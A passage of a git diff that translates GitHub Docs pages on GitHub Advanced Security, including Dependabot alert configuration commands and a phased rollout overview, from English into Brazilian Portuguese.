-    - To disable {% data variables.product.prodname_dependabot_alerts %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}.
+    - Para desabilitar {% data variables.product.prodname_dependabot_alerts %}, digite os comandos a seguir {% ifversion ghes > 3.1 %}{% else %}comandos{% endif %}.
     {% ifversion ghes > 3.1 %}```shell
     ghe-config app.dependency-graph.enabled false
     ```
@@ -118,7 +115,7 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s
     ghe-config app.github.dependency-graph-enabled false
     ghe-config app.github.vulnerability-alerting-and-settings-enabled false
     ```{% endif %}
-3. Apply the configuration.
+3. Aplique a configuração.
     ```shell
     ghe-config-apply
     ```
diff --git a/translations/pt-BR/content/admin/advanced-security/index.md b/translations/pt-BR/content/admin/advanced-security/index.md
index 9bb979a9eb..72ca6b7e6a 100644
--- a/translations/pt-BR/content/admin/advanced-security/index.md
+++ b/translations/pt-BR/content/admin/advanced-security/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing GitHub Advanced Security for your enterprise
-shortTitle: Managing GitHub Advanced Security
-intro: 'You can configure {% data variables.product.prodname_advanced_security %} and manage use by your enterprise to suit your organization''s needs.'
+title: Gerenciando o GitHub Advanced Security para a sua empresa
+shortTitle: Gerenciar o GitHub Advanced Security
+intro: 'Você pode configurar {% data variables.product.prodname_advanced_security %} e gerenciar o uso pela sua empresa para atender às necessidades da sua organização.'
 product: '{% data reusables.gated-features.ghas %}'
 redirect_from:
   - /enterprise/admin/configuration/configuring-advanced-security-features
@@ -18,3 +18,4 @@ children:
   - /overview-of-github-advanced-security-deployment
   - /deploying-github-advanced-security-in-your-enterprise
 ---
+
diff --git a/translations/pt-BR/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md b/translations/pt-BR/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md
index a05ce5a4c5..dfc4fc3100 100644
--- a/translations/pt-BR/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md
+++ b/translations/pt-BR/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md
@@ -1,7 +1,7 @@
 ---
-title: Overview of GitHub Advanced Security deployment
-intro: 'Help your company successfully prepare to adopt {% data variables.product.prodname_GH_advanced_security %} (GHAS) by reviewing and understanding these best practices, rollout examples, and our enterprise-tested phased approach.'
-product: '{% data variables.product.prodname_GH_advanced_security %} is a set of security features designed to make enterprise code more secure. It is available for {% data variables.product.prodname_ghe_server %} 3.0 or higher, {% data variables.product.prodname_ghe_cloud %}, and open source repositories. To learn more about the features, included in {% data variables.product.prodname_GH_advanced_security %}, see "[About GitHub Advanced Security](/get-started/learning-about-github/about-github-advanced-security)."'
+title: Visão geral da implantação de Segurança Avançada do GitHub
+intro: 'Ajude sua empresa a se preparar para adotar {% data variables.product.prodname_GH_advanced_security %} (GHAS) de forma bem-sucedida revisando e entendendo as práticas recomendadas, exemplos de implementação e a nossa abordagem em fases testada pela empresa.'
+product: '{% data variables.product.prodname_GH_advanced_security %} é um conjunto de funcionalidades de segurança projetado para tornar o código corporativo mais seguro. Está disponível para {% data variables.product.prodname_ghe_server %} 3.0 ou superior, {% data variables.product.prodname_ghe_cloud %} e para repositórios de código aberto. Para saber mais sobre as funcionalidades, incluído em {% data variables.product.prodname_GH_advanced_security %}, consulte "[Sobre o GitHub Advanced Security](/get-started/learning-about-github/about-github-advanced-security)."'
 miniTocMaxHeadingLevel: 3
 versions:
   ghes: '*'
@@ -14,193 +14,191 @@ topics:
   - Security
 ---
 
-{% data variables.product.prodname_GH_advanced_security %} (GHAS) helps teams build more secure code faster using integrated tooling such as CodeQL, the world’s most advanced semantic code analysis engine. GHAS is a suite of tools that requires active participation from developers across your enterprise. To realize the best return on your investment, you must learn how to use, apply, and maintain GHAS to truly protect your code.
+{% data variables.product.prodname_GH_advanced_security %} (GHAS) ajuda equipes a criar mais rapidamente um código mais seguro, usando ferramentas integradas, como CodeQL, o mecanismo de análise de código semântico mais avançado do mundo. O GHAS é um conjunto de ferramentas que requer a participação ativa de desenvolvedores na sua empresa. Para obter o melhor retorno do seu investimento, você deverá aprender a usar, aplicar e manter o GHAS para proteger realmente seu código.
 
-One of the biggest challenges in tackling new software for an company can be the rollout and implementation process, as well as bringing about the cultural change to drive the organizational buy-in needed to make the rollout successful.
+Um dos maiores desafios em lidar com novos softwares para uma empresa pode ser o processo de implementação, bem como promover a mudança cultural para impulsionar a aquisição organizacional necessária para que a implementação seja bem sucedida.
 
-To help your company better understand and prepare for this process with GHAS, this overview is aimed at:
-  - Giving you an overview of what a GHAS rollout might look like for your
-  company.
-  - Helping you prepare your company for a rollout.
-  - Sharing key best practices to help increase your company’s rollout
-  success.
+Para ajudar sua empresa a entender melhor e preparar-se para esse processo com o GHAS, essa visão geral destina-se a:
+  - Dar a você uma visão geral da aparência da implantação do GHAS para sua empresa.
+  - Ajudando você a preparar sua empresa para uma implementação.
+  - Compartilhe as práticas recomendadas fundamentais para ajudar a aumentar o sucesso da implementação da sua empresa.
 
-To understand the security features available through {% data variables.product.prodname_GH_advanced_security %}, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+Para entender as funcionalidades de segurança disponíveis por meio de {% data variables.product.prodname_GH_advanced_security %}, consulte "[funcionalidades de segurança de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
-## Recommended phased approach for GHAS rollouts
+## Abordagem faseada recomendada para implementações do GHAS
 
-We’ve created a phased approach to GHAS rollouts developed from industry and GitHub best practices. You can utilize this approach for your rollout, either in partnership with {% data variables.product.prodname_professional_services %} or independently.
+Criamos uma abordagem faseada para implementações do GHAS desenvolvidas com base nas práticas recomendadas do setor e do GitHub. Você pode utilizar essa abordagem para a sua implementação, em parceria com {% data variables.product.prodname_professional_services %} ou de forma independente.
 
-While the phased approach is recommended, adjustments can be made based on the needs of your company. We also suggest creating and adhering to a timeline for your rollout and implementation. As you begin your planning, we can work together to identify the ideal approach and timeline that works best for your company.
+Embora a abordagem faseada seja recomendada, os ajustes podem ser feitos com base nas necessidades da sua empresa. Sugerimos também a criação e o cumprimento de um calendário para a sua implementação. À medida que você começa o seu planejamento, podemos trabalhar juntos para identificar a abordagem ideal e a linha do tempo que funciona melhor para sua empresa.
 
-![Diagram showing the three phases of GitHub Advanced Security rollout and deployment, including Phase 0: Planning & Kickoff, Phase 1: Pilot projects, Phase 2: Org Buy-in and Rollout for early adopters, and Phase 3: Full org rollout & change management](/assets/images/enterprise/security/advanced-security-phased-approach-diagram.png)
+![Diagrama que mostra as três fases da implementação do GitHub Advanced Security, incluindo a Fase 0: Planejamento & introdução, Fase 1: Projetos piloto, Fase 2: Adesão e implementação corporativas para os primeiros a aderirem e Fase 3: Implementação completa & Gestão de mudanças](/assets/images/enterprise/security/advanced-security-phased-approach-diagram.png)
 
 
-Based on our experience helping customers with a successful deployment of {% data variables.product.prodname_GH_advanced_security %}, we expect most customers will want to follow these phases. Depending on the needs of your company, you may need to modify this approach and alter or remove some phases or steps.
+Com base na nossa experiência ajudando clientes com uma implantação bem-sucedida de {% data variables.product.prodname_GH_advanced_security %}, esperamos que a maioria dos clientes queira seguir essas fases. Dependendo das necessidades da sua empresa, talvez seja necessário modificar esta abordagem e alterar ou remover algumas fases ou etapas.
 
-For a detailed guide on implementing each of these phases, see "[Deploying {% data variables.product.prodname_GH_advanced_security %} in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." The next section gives you a high-level summary of each of these phases.
+Para um guia detalhado sobre a implementação de cada uma dessas etapas, consulte "[Implantando {% data variables.product.prodname_GH_advanced_security %} na sua empresa](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)". A próxima seção fornece um resumo de alto nível de cada uma destas fases.
 
-###  {% octicon "milestone" aria-label="The milestone icon" %} Phase 0: Planning & kickoff
+### {% octicon "milestone" aria-label="The milestone icon" %} Fase 0: Planejamento & início
 
-During this phase, the overall goal is to plan and prepare for your rollout, ensuring that you have your people, processes, and technologies in place and ready for your rollout. You should also consider what success criteria will be used to measure GHAS adoption and usage across your teams.
+Durante essa fase, o objetivo geral é planejar e preparar-se para a sua implantação, garantindo que você tenha seu pessoal, processos e tecnologias prontos para sua implementação. Você também deve considerar quais critérios de sucesso serão usados para medir a adoção e o uso do GHAS nas suas equipes.
 
-### {% octicon "milestone" aria-label="The milestone icon" %}  Phase 1: Pilot project(s)
+### {% octicon "milestone" aria-label="The milestone icon" %}  Fase 1: Projeto(s) piloto
 
-To begin implementing GHAS, we recommend beginning with a few high-impact projects/teams with which to pilot an initial rollout. This will allow an initial group within your company to get familiar with GHAS, learn how to enable and configure GHAS, and build a solid foundation on GHAS before rolling out to the remainder of your company.
+Para começar a implementar o GHAS, recomendamos começar com alguns projetos/equipes de alto impacto com que pilotar uma primeira implantação. Isto permitirá que um grupo inicial da sua empresa se familiarize com o GHAS, aprenda a habilitar e configurar o GHAS e construa uma base sólida no GHAS antes de fazer a implementação no restante da sua empresa.
 
-### {% octicon "milestone" aria-label="The milestone icon" %}  Phase 2: Organizational buy-in & rollout preparation
+### {% octicon "milestone" aria-label="The milestone icon" %}  Fase 2: Adesão organizacional & preparação para implementação
 
-Phase 2 is a recap of previous phases and preparing for a larger rollout across the remainder of the company. In this phase, organizational buy-in can refer to your company’s decision to move forward after the pilot project(s) or the company’s use and adoption of GHAS over time (this is most common). If your company decides to adopt GHAS over time, then phase 2 can continue into phase 3 and beyond.
+A fase 2 é um resumo das fases anteriores e a preparação para uma implantação maior do restante da empresa. Nesta fase, a adesão organizacional pode referir-se à decisão da sua empresa de avançar depois do(s) projeto(s) piloto ou o uso e adoção da empresa GHAS ao longo do tempo (isto é mais comum). Se sua empresa decidir adotar o GHAS ao longo do tempo, a fase 2 poderá continuar na fase 3 e assim por diante.
 
-### {% octicon "milestone" aria-label="The milestone icon" %}  Phase 3: Full organizational rollout & change management
+### {% octicon "milestone" aria-label="The milestone icon" %}  Fase 3: Execução completa da organização & gestão de mudanças
 
-Once your company is in alignment, you can begin rolling GHAS out to the remainder of the company based on your rollout plan. During this phase, it’s crucial to ensure that a plan has been made for any organizational changes that may need to be made during your rollout of GHAS and ensuring teams understand the need, value, and impact of the change on current workflows.
+Uma vez que sua empresa está alinhada, você pode começar a implementar o GHAS para o restante da empresa com base no seu plano de implementação. Durante esta fase, é fundamental garantir que um plano foi feito para quaisquer mudanças organizacionais que possam ser feitas durante sua implementação do GHAS e garantir que as equipes entendam a necessidade, valor e impacto da mudança nos fluxos de trabalho atuais.
 
-## Best practices for a successful GHAS rollout
+## Práticas recomendadas para uma implantação bem-sucedida do GHAS
 
-We’ve found that companies that have completed successful GHAS rollouts have several similar characteristics that help drive their success. To help your company increase the success of your GHAS rollout, review these best practices.
+Descobrimos que as empresas que concluíram com sucesso as implementações do GHAS têm várias características semelhantes que ajudam a impulsionar seu sucesso. Para ajudar sua empresa a promover o sucesso da implementação do seu GHAS, revise essas práticas recomendadas.
 
-### {% octicon "checklist" aria-label="The checklist icon" %} Set clear goals for your company’s rollout
+### {% octicon "checklist" aria-label="The checklist icon" %} Estabeleça objetivos claros para a implantação da sua empresa
 
-Setting goals may seem obvious, but we do see some companies that begin GHAS rollouts with no clear goals in mind. It’s more difficult for these companies to gain the true organizational buy-in that’s needed to complete the rollout process and realize the value of GHAS within their company.
+O estabelecimento de objetivos pode parecer óbvio, mas vemos que algumas empresas que iniciam o GHAS não têm em mente objetivos claros. É mais difícil para essas empresas obter a adesão organizacional verdadeira necessária para concluir o processo de implantação e perceber o valor da GHAS dentro da sua empresa.
 
-As you begin planning for your rollout and implementation, begin outlining goals for GHAS within your company and ensure these are communicated to your team. Your goals can be highly detailed or something simple, as long as there is a starting point and alignment. This will help build a foundation for the direction of your company’s rollout and can help you build a plan to get there. If you need assistance with your goals, {% data variables.product.prodname_professional_services %} can help with recommendations based on our experience with your company and prior engagements with other customers.
+À medida que você começa a planejar para sua implementação, comece a definir os objetivos para o GHAS dentro da sua empresa e certifique-se de que sejam comunicados à sua equipe. Os seus objetivos podem ser altamente detalhados ou simples, desde que haja um ponto de partida e um alinhamento. Isso ajudará a construir uma base para a direção da implantação da sua empresa e poderá ajudar você a construir um plano para chegar lá. Se precisar de ajuda com as suas metas, {% data variables.product.prodname_professional_services %} pode ajudar com as recomendações baseadas na nossa experiência com a sua empresa e compromissos anteriores com outros clientes.
 
-Here are some high-level examples of what your goals for rolling out GHAS might look like:
-  - **Reducing the number of vulnerabilities:** This may be in general, or because your  company was recently impacted by a significant vulnerability that you believe could  have been prevented by a tool like GHAS.
-  - **Identifying high-risk repositories:** Some companies may simply want to target repositories that contain the most risk, ready to begin remediating vulnerabilities and reducing risk.
-  -  **Increasing remediation rates:** This can be accomplished by driving developer adoption of findings and ensuring these vulnerabilities are remediated in a timely manner, preventing  the accumulation of security debt.  
-  - **Meeting compliance requirements:** This can be as simple as creating new compliance  requirements or something more specific. We find many healthcare companies use GHAS to prevent the exposure of PHI (Personal Health Information).
-  - **Preventing secrets leakage:** This is often a goal of companies that have had (or want to  prevent) critical information leaked such as software keys, customer or financial data, etc.
-  - **Dependency management:** This is often a goal for companies that may have fallen  victim due to hacks from unpatched dependencies, or those seeking to prevent these  types of attacks by updating vulnerable dependencies.  
+Aqui estão alguns exemplos de alto nível de como seus objetivos para implementar GHAS podem parecer:
+  - **Reduzindo o número de vulnerabilidades:** Isso pode ser geral ou porque sua empresa foi recentemente afetada por uma vulnerabilidade significativa que você acredita que poderia ter sido prevenida por uma ferramenta como o GHAS.
+  - **Identificando repositórios de alto risco:** Algumas empresas podem simplesmente querer direcionar repositórios que contenham maior risco, pronto para começar a corrigir vulnerabilidades e reduzir o risco.
+  -  **Aumentando as taxas de remediação:** Isso pode ser feito pela adoção de conclusões do desenvolvedor e por garantir que essas vulnerabilidades sejam corrigidas em tempo hábil. prevenindo a acumulação de dívida de segurança.
+  - **Requisitos de conformidade da reunião:** Isto pode ser tão simples quanto criar novos requisitos de conformidade ou algo mais específico. Encontramos muitas empresas de saúde que utilizam o GHAS para prevenir a exposição do PHI (Informações sobre saúde pessoal).
+  - **Evitar a fuga de segredos:** De modo geral, isso é um objetivo das empresas que tiveram (ou querem evitar) vazamento de informações confidenciais como, por exemplo, chaves de software, dados financeiros, dados do cliente, etc.
+  - **Gerenciamento de dependência:** Este é frequentemente um objetivo para empresas que podem ter sido vítimas devido a hackers de dependências não corrigidas, ou aqueles que procuram prevenir esses tipos de ataques atualizando dependências vulneráveis.
 
-### {% octicon "checklist" aria-label="The checklist icon" %} Establish clear communication and alignment between your teams
+### {% octicon "checklist" aria-label="The checklist icon" %} Estabeleça uma comunicação e alinhamento claros entre suas equipes
 
-Clear communication and alignment are critical to the success of any project, and the rollout of GHAS is no different. We’ve found that companies that have clear communication and alignment between their security and development groups, as well as their executive sponsor (either CISO or VP) from the purchase of GHAS through rollout, often have more success with their rollouts.
+Uma comunicação e um alinhamento claros são essenciais para o sucesso de qualquer projeto, e a implantação do GHAS não é diferente. Descobrimos que as empresas que têm uma comunicação e alinhamento claros entre seus grupos de segurança e desenvolvimento, além do seu patrocinador executivo (CISO ou VP) da compra do GHAS por meio da implantação, muitas vezes têm mais sucesso com a sua implantação.
 
-In addition to ensuring these groups are aligned throughout your GHAS rollout, there are a few specific areas we recommend focusing on.
+Além de garantir que estes grupos estejam alinhados ao longo de toda a implementação do GHAS, recomendamos que nos concentremos em algumas áreas específicas.
 
-#### Rollout planning
+#### Planejamento da implementação
 
-How will you roll out GHAS to your company? There will likely be many ideas and opinions. Here are some questions you should consider answering and aligning on before moving  forward:
-  - What teams will be included in the pilot?
-  - What projects are focused on in the pilot?
-  - How should projects be prioritized for rollout?
-  - How do you plan to measure success in the pilot and beyond?
-  - What is the level of daily change your teams will be taking on? How will that be  communicated?
-  - How will your rollout plans be communicated across the company?
-  - How do you plan to train your teams?
-  - How do you plan to manage scan results initially? (For more information, see the next section on "Processing results")
+Como você implementará o GHAS na sua empresa? Provavelmente, haverá muitas ideias e opiniões. Aqui estão algumas perguntas que você deve considerar responder e alinhar antes de avançar:
+  - Quais equipes serão incluídas no piloto?
+  - Quais projetos estão focados no piloto?
+  - Como os projetos devem ser priorizados na execução?
+  - Como você planeja medir o sucesso no piloto e para além dele?
+  - Qual é o nível de mudança diária que suas equipes irão enfrentar? Como isso será comunicado?
+  - Como seus planos de implementação serão comunicados em toda a empresa?
+  - Como você planeja treinar suas equipes?
+  - Como você planeja gerenciar os resultados de digitalização inicialmente? (Para obter mais informações, consulte a próxima seção sobre "Processando resultados")
 
-#### Processing results
+#### Processando resultados
 
-Before GHAS is rolled out to your teams, there should be clear alignment on how results  should be managed over time. We recommend initially looking at results as more informative  and non-blocking. It’s likely your company has a full CI/CD pipeline, so we recommend this  approach to avoid blocking your company’s process. As you get used to processing these  results, then you can incrementally increase the level of restriction to a point that feels more  accurate for your company.
+Antes de o GHAS ser implementado nas suas equipes, deve haver um claro alinhamento sobre como os resultados devem ser gerenciados ao longo do tempo. Recomendamos que se encarem os resultados como mais informativo e não como bloqueio. É provável que a sua empresa tenha um pipeline de CI/CD completo. Portanto, recomendamos esta abordagem para evitar bloquear o processo da sua empresa. À medida que você se acostuma com o processamento desses resultados, você poderá aumentar gradualmente o nível de restrição para um ponto que você considera mais preciso para sua empresa.
 
-### {% octicon "checklist" aria-label="The checklist icon" %}  Lead your rollout with both your security and development groups
+### {% octicon "checklist" aria-label="The checklist icon" %}  lidere a sua implementação com seus grupos de segurança e desenvolvimento
 
-Many companies lead their GHAS rollout efforts with their security group. Often, development teams aren’t included in the rollout process until the pilot has concluded. However, we’ve found that companies that lead their rollouts with both their security and development teams tend to have more success with their GHAS rollout.
+Muitas empresas lideram seus esforços do GHAS com seu grupo de segurança. Muitas vezes, as equipes de desenvolvimento não são incluídas no processo de implementação até que o piloto seja concluído. No entanto, descobrimos que as empresas que lideram as implementações tanto com as equipes de segurança quanto de desenvolvimento tendem a ter mais sucesso com a implementação do GHAS.
 
-Why? GHAS takes a developer-centered approach to software security by integrating seamlessly into the developer workflow. Not having key representation from your development group early in the process increases the risk of your rollout and creates an uphill path towards organizational buy-in.
+Por que? O GHAS adota uma abordagem centrada no desenvolvedor para a segurança do software, integrando-se perfeitamente ao fluxo de trabalho do desenvolvedor. Não ter uma representação chave do seu grupo de desenvolvimento no início do processo aumenta o risco de sua implantação e cria um caminho rápido para adesões organizacionais.
 
-When development groups are involved earlier (ideally from purchase), security and development groups can achieve alignment early in the process. This helps to remove silos  between the two groups, builds and strengthens their working relationships, and helps shift the  groups away from a common mentality of “throwing things over the wall.” All of these things help support the overall goal to help companies shift and begin  utilizing GHAS to address security concerns earlier in the development process.
+Quando os grupos de desenvolvimento são envolvidos mais cedo (idealmente a partir da compra), os grupos de segurança e desenvolvimento podem alcançar um alinhamento precoce no processo. Isso ajuda a remover silos entre os dois grupos, a construir e a reforçar as suas relações de trabalho, e ajuda a afastar os grupos de uma mentalidade comum de “arremessar as coisas pelo muro”. Todas estas coisas ajudam você a apoiar o objetivo geral de ajudar as empresas a se deslocarem e começarem a utilizar o GHAS para abordar as questões de segurança mais cedo no processo de desenvolvimento.
 
-#### {% octicon "people" aria-label="The people icon" %} Recommended key roles for your rollout team
+#### {% octicon "people" aria-label="The people icon" %} Funções-chave recomendadas para sua equipe de implementação
 
-We recommend a few key roles to have on your team to ensure that your groups are well represented throughout the planning and execution of your rollout and implementation.
+Recomendamos algumas funções essenciais para a sua equipe a fim de garantir que os seus grupos estejam bem representados durante todo o planejamento e execução da sua implementação.
 
-We highly recommend your rollout team include these roles:
-- **Executive Sponsor:** This is often the CISO, CIO, VP of Security, or VP of Engineering.
-- **Technical Security Lead:** The technical security lead provides technical support on behalf of the security team throughout the implementation process.
-- **Technical Development Lead:** The technical development lead provides technical support and will likely lead the implementation effort with the development team.  
+É altamente recomendável que a sua equipe de implementação inclua estas funções:
+- **Patrocinador Executivo:** De modo geral, é CISO, CIO, VP de Segurança ou VP de Engenharia.
+- **Líder de Segurança Técnica:** A liderança de segurança técnica fornece suporte técnico em nome da equipe de segurança durante todo o processo de implementação.
+- **Líder de Desenvolvimento Técnico:** A liderança de desenvolvimento técnico fornece suporte técnico e provavelmente liderará o esforço de implementação com a equipe de desenvolvimento.
 
-We also recommend your rollout team include these roles:
-- **Project Manager:** We’ve found that the earlier a project manager can be introduced into the rollout process the higher the likelihood of success.  
-- **Quality Assurance Engineer:** Including a member of your company’s Quality Assurance team helps ensure process changes are taken into account for the QA team.
+Também recomendamos que a sua equipe de implementação inclua estas funções:
+- **Gerente de Projeto:** Descobrimos que quanto mais cedo um gerente de projeto pode ser introduzido no processo de execução, maior é a probabilidade de sucesso.
+- **Engenheiro de Garantia de Qualidade:** Incluir um integrante da equipe de Garantia de Qualidade da sua empresa ajuda a garantir que as alterações no processo sejam levadas em conta para a equipe de controle de qualidade.
 
-### {% octicon "checklist" aria-label="The checklist icon" %} Understand key GHAS facts to prevent common misconceptions
+### {% octicon "checklist" aria-label="The checklist icon" %} Entenda os principais fatos do GHAS para evitar equívocos comuns
 
-Going into a GHAS implementation, it’s important to understand some key basic facts about what GHAS is and can do, to prevent many common misconceptions companies have going into their GHAS rollouts.
+Realizar uma implementação do GHAS. É importante entender alguns fatos básicos sobre o que o GHAS é e pode fazer, para evitar que muitas concepções incorretas comuns acessem as suas implementações do GHAS.
 
 {% note %}
 
-**Note:** If you’re interested in furthering your GHAS education, {% data variables.product.prodname_professional_services %} provides a variety of options for additional education and training, including topics that your company needs to prepare for GHAS. These offerings may take the form of workshops, demonstrations, and bootcamps. Topics can range from deploying GHAS and basic usage of GHAS to more advanced topics to continue to build your team’s skills. For more information on working with the {% data variables.product.prodname_professional_services_team %} team, see "[{% data variables.product.prodname_professional_services %}](#github-professional-services)."
+**Observação:** Se estiver interessado em promover a sua formação no GHAS, {% data variables.product.prodname_professional_services %} oferece uma série de opções para formação e treinamento adicionais, incluindo tópicos para os quais a sua empresa precisa se preparar para o GHAS. Estas ofertas podem assumir a forma de oficinas, demonstrações e bootcamps. Os tópicos podem variar desde a implementação do GHAS e do uso básico do GHAS a tópicos mais avançados para continuar desenvolvendo as habilidades da sua equipe. Para obter mais informações sobre como trabalhar com a equipe de {% data variables.product.prodname_professional_services_team %}, consulte "[{% data variables.product.prodname_professional_services %}](#github-professional-services)".
 
 {% endnote %}
 
 
-#### Fact 1: GHAS is a suite of security tools that require action to protect your code.
+#### Fato 1: O GHAS é um conjunto de ferramentas de segurança que requerem ação para proteger seu código.
 
-It’s not security software that is installed and forgotten—just having GHAS on its own does not protect your code. GHAS is a suite of tools that increases with value when configured, maintained, used in daily  workflows, and in combination with other tools.
+Não é um software de segurança instalado e esquecido — ter apenas um GHAS não protege seu código. O GHAS é um conjunto de ferramentas que aumentam com valor quando configurados, mantidos, usados em fluxos de trabalho diários e em combinação com outras ferramentas.
 
-#### Fact 2: GHAS will require adjustment out of the box.
+#### Fato 2: O GHAS exigirá um ajuste inovador.
 
-Once GHAS is set up on your repositories, there are additional steps that need to be taken to ensure it works for your company’s needs. Code scanning in particular requires further configuration to fine-tune your results, for example, customizing what is flagged by the scans to adjust what is picked up in future scans. Many customers find that initial scans either pick up no results or results that are not relevant based on the application's threat model and need to be adjusted to their company’s needs.
+Uma vez que o GHAS é definido nos repositórios, há outras etapas que precisam ser realizadas para garantir o funcionamento das necessidades da empresa. A digitalização de código em particular exige uma configuração adicional para ajustar seus resultado como, por exemplo, a personalização do que é sinalizado pelas verificações para ajustar o que é detectado em futuras digitalizações. Muitos clientes descobrem que as digitalizações iniciais ou não obtêm resultados ou obtêm resultados que não são relevantes com base no modelo de ameaça da aplicação e precisam ser ajustados de acordo com as necessidades da empresa.
 
-#### Fact 3: GHAS tools are most effective when used together, but the most effective AppSec programs involve the use of additional tools/activities.
+#### Facto 3: As ferramentas do GHAS são mais efetivas quando usadas em conjunto, mas os programas mais eficientes do AppSec envolvem o uso de ferramentas/atividades adicionais.
 
-GHAS is most effective when all of the tools are used together. When companies integrate GHAS with other tools and activities, such as penetration testing and dynamic scans, it further improves the effectiveness of the AppSec program. We recommend always utilizing multiple layers of protection.
+O GHAS é mais eficaz quando todas as ferramentas são utilizadas em conjunto. Quando as empresas integram o GHAS a outras ferramentas e atividades como, por exemplo, testes de penetração e scanners dinâmicos, ele melhora ainda a eficácia do programa AppSec. Recomendamos sempre a utilização de múltiplas camadas de proteção.
 
-#### Fact 4: Not all companies will use/need custom {% data variables.product.prodname_codeql %} queries, but they can  help you customize/target scan results.
+#### Fato 4: Nem todas as empresas irão usar/precisar de consultas personalizadas de {% data variables.product.prodname_codeql %}, mas elas podem ajudar você a personalizar/apontar para resultados de verificação.
 
-Code scanning is powered by {% data variables.product.prodname_codeql %}—the world’s most powerful code analysis engine. While  many companies are excited at the prospect of being able to write custom queries, for a  large portion of our customers the base query set and additional queries available in the  community are typically more than sufficient. However, many companies may find the need  for custom {% data variables.product.prodname_codeql %} queries to help reduce false positives rates in results or crafting new  queries to target results your company may need.
+A digitalização de código é fornecida por {% data variables.product.prodname_codeql %} — o mecanismo de análise de código mais poderoso do mundo. Embora muitas empresas estejam entusiasmadas com a perspectiva de serem capazes de escrever consultas personalizadas, para uma grande parte dos nossos clientes, o conjunto base de consultas e consultas adicionais disponíveis na comunidade é, de modo geral, mais do que suficiente. No entanto muitas empresas podem ter a necessidade de consultas personalizadas de {% data variables.product.prodname_codeql %} para ajudar a reduzir taxas falso-positivas nos resultados ou criar novas consultas para resultados dos quais a sua empresa pode precisar.
 
-However, if your company is interested in writing custom {% data variables.product.prodname_codeql %} queries, we recommend  you complete your rollout and implementation of GHAS before exploring custom queries.
+No entanto, se a sua empresa estiver interessada em escrever consultas personalizadas de {% data variables.product.prodname_codeql %}, recomendamos que você implemente o GHAS antes de explorar as consultas personalizadas.
 
 {% note %}
 
-**Note:** It’s crucial for your company to have a solid foundation on GHAS before diving deeper into deeper security  practices.
+**Observação:** É essencial para a sua empresa ter uma base sólida no GHAS antes de mergulhar mais fundo em práticas de segurança mais profundas.
 
 {% endnote %}
 
-When your company is ready, our Customer Success team can help you navigate the requirements that need to be met and can help ensure your company has good use  cases for custom queries.  
+Quando sua empresa estiver pronta, a nossa equipe de sucesso do cliente pode ajudar você a cumprir os requisitos que precisam ser cumpridos e pode ajudar a garantir que a sua empresa tenha bons casos de uso para consultas personalizadas.
 
-#### Fact 5: {% data variables.product.prodname_codeql %} scans the whole code base, not just the changes made in a pull request.
+#### Fato 5: {% data variables.product.prodname_codeql %} digitaliza toda a base de código, não apenas as alterações feitas em um pull request.
 
-When code scanning is run from a pull request, the scan will include the full codebase and not just the changes made in the pull request. While this may seem unnecessary at times, this is an important step to ensure the change has been reviewed all against all interactions in the codebase.
+Quando a verificação de código é executada a partir de um pull request, a digitalização incluirá a base de código completa e não apenas as alterações feitas no pull request. Embora isso possa parecer por vezes desnecessário, este é uma etapa importante para garantir que a mudança tenha sido revisada com base em todas as interacções na base de código.
 
-## Examples of successful {% data variables.product.prodname_GH_advanced_security %} rollouts
+## Exemplos de implementações de {% data variables.product.prodname_GH_advanced_security %} bem-sucedidas
 
-Now that you have a better understanding of some of the keys to a successful GHAS rollout  and implementation, here are some examples of how our customers made their rollouts successful. Even if your company is in a different place, {% data variables.product.prodname_dotcom %} can help you with building a customized path that suits the needs of your rollout.
+Agora que você compreende melhor alguns dos pontos principais para uma implementação bem-sucedidas do GHAS, aqui estão alguns exemplos de como os nossos clientes fizeram as suas implementações bem-sucedidas. Mesmo que sua empresa esteja em um lugar diferente, {% data variables.product.prodname_dotcom %} pode ajudar você a construir um caminho personalizado que atenda às necessidades da sua implantação.
 
-### Example rollout for a mid-sized healthcare technology company  
+### Exemplo de implantação para uma empresa de tecnologia de saúde de médio porte.
 
-A mid-sized healthcare technology company based out of San Francisco completed a successful GHAS rollout process. While they may not have  had a large number of repositories that needed to be enabled, this company’s keys to success included having a well-organized and aligned team for the rollout, with a clearly established key contact to work with {% data variables.product.prodname_dotcom %} to troubleshoot any issues during the process. This allowed them to complete their rollout within two months.
+Uma empresa de tecnologia de saúde de médio porte, baseada em São Francisco, concluiu um processo bem-sucedido de implantação do GHAS. Embora eles possam não ter um grande número de repositórios que precisavam ser habilitados, a chave dosucesso dessa empresa incluiu a uma equipe bem organizada e alinhada para a implementação, com um contato-chave claramente definido para trabalhar com {% data variables.product.prodname_dotcom %} para solucionar quaisquer problemas durante o processo. Isso lhes permitiu concluir a sua implementação em de dois meses.
 
-In addition, having an engaged development team allowed the company to have teams using code scanning at the pull request level following the completion of their rollout.
+Além disso a existência de uma equipe de desenvolvimento engajada permitiu que a empresa tivesse equipes que utilizassem a verificação de código no nível de pull request após a conclusão da sua implementação.
 
-### Example rollout for a mid-sized data platform company
+### Exemplo de implantação para uma empresa de plataforma de dados de média dimensão
 
-A global data platform company has had great success with GHAS to  date. They’ve completed their initial implementation and are currently progressing through the rollout process. This company is mature in their security posture and tooling, and are well-aligned as an company. This allows them to operate very self-sufficiently and has enabled them to move quickly and smoothly through their rollout.
+Uma empresa global de plataformas de dados teve grande sucesso com o GHAS até o momento. Eles concluíram a sua implementação inicial e estão atualmente progredindo por meio do processo de implementação. Esta empresa tem maturidade em suas posições e ferramentas de segurança e está bem alinhada como uma empresa. Isso permite que ela opere de forma muito própria, bem como avançar de forma rápida e tranquila ao longo da sua implementação.
 
-This company's strong alignment, efficient operations, and security tooling maturity allowed them to implement GHAS quickly and build a good foundation for {% data variables.product.prodname_codeql %}. Since their implementation, they can now automatically enable {% data variables.product.prodname_codeql %} across different repositories.
